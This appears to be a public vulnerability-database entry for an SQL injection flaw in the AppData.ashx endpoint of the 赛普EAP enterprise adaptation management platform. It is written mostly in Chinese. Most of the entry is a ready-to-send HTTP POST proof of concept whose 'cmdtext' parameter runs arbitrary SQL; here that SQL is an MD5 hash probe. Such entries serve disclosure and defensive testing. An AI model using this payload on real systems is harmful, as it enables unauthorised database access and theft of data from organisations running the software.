赛普EAP企业适配管理平台 AppData.ashx SQL注入漏洞

2025-12-26 赛普EAP企业适配管理平台 PoC Public

Description

赛普EAP企业适配管理平台 AppData.ashx SQL注入漏洞

PoC

POST /IDWebSoft/AppData.ashx HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded

action=GetDataTableByText&cmdtext=SELECT sys.fn_sqlvarbasetostr(HASHBYTES('MD5','76033'));

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities